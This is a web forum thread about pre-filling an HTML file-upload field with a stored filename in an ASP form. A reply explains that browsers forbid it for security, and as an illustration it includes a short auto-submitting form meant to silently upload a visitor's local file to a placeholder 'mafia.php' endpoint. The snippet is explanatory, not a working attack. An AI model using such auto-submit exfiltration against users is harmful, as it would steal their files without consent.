HTML input type=file, pre-insert data.

[ShotokanTuning]

I want to put an initial file name, into an input type=file.

I'm using this as a substitute..

<TR><TD>Extra Document:&nbsp;<%=rsAccount("ExtraDocument")%></TD></TR><TR><TD><INPUT TYPE=FILE NAME=extradocument SIZE=43 ></TD></TR>

(show the initial filename before the input type=file)

This would be the solution if it worked (But it doesn't seem to work with this type):

<TR><TD>Extra Document:&nbsp;</TD></TR><TR><TD><INPUT TYPE=FILE NAME=extradocument value=<%=rsAccount("ExtraDocument")%> SIZE=43 ></TD></TR>

When updating some information, I want to show the old date in the input type=file and make it possible for the user to change it than save it. I can do all that except the part of putting the old date into the input type=file.

"INPUT TYPE=FILE -> Creates a file select control. User agents may use the value of the value attribute as the initial file name."

I'm using Internet Explorer... shouldn't the value thing work? Hmm...

Please help me out, I'm lost.

[CornedBee]

It's disabled in all browsers I know for security reasons. If it wasn't, I could do the following:

<form id="stealingform" action="mafia.php" method="post" encoding="encoding/mime-multipart">
<!-- can't remember the exact required encoding for files -->
<input type="file" name="thief" value="c:\windows\whatever.dat">
</form>
<script type="text/javascript">
window.onload = function() {
  document.getElementById('stealingform').submit();
}
</script>

This would automatically upload your c:\windows\whatever.dat to my server if you visit the page with enabled JavaScript. Hmm, not good.

[ShotokanTuning]

Yeah so basicly it's a no no?

Could I write a value into it by using Javascript or whatever?

It's silly if the users have to select the file in every update they do.

[CornedBee]

It's a big no. Not possible to write anything with JavaScript either, for the same reason.

[ShotokanTuning]

So what I do now is:

- Write the text: Extra Document.

- Insert to old path towards the file

- Put the input type=file there to allow the user to browse for a file.


So what the user has to choose from is:
- Copy paste the old file path (when keeping the old)
- Leave it blank (when no more file)
- Or change the file path with a new (when setting a new).


Any thought on making this a bit more user friendly? The copy paste thing is my solution on not being able to set a default value...

[CornedBee]

Well, you could make a button "remove current file" and let a blank field mean "no change".